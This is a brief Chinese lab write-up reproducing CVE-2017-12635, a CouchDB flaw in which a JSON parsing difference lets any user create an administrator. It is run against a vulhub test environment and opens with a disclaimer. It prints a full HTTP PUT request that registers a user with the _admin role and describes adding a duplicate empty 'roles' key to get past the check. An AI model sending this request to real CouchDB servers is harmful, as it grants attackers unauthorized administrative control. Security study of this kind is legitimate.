免责声明:本文仅用于技术交流和知识分享目的。漏洞复现涉及到系统和网络的安全性测试,可能导致系统崩溃、数据丢失或其他问题。读者在尝试漏洞复现之前必须获得合法授权,并自行承担一切风险和责任。
漏洞描述
Apache CouchDB是一个开源的 面向文档的 NoSQL数据库,用Erlang实现。CouchDB 使用多种格式和协议来存储、传输和处理其数据。它使用JSON来存储数据,使用JavaScript作为其使用MapReduce 的查询语言,并使用HTTP作为API。由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。CVE-2017-12635
漏洞影响版本
小于 1.7.0 以及 小于 2.1.1
漏洞复现版本
2.1.0
复现过程
1:使用vulhub中靶场启动环境
2:浏览器访问http://your-ip:5984/_utils
3:burp中构建数据包如下,并发送
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
4:请求数据包中再添加一项"roles": [" "]发送,返回包显示为true
5:使用此账号可成功登录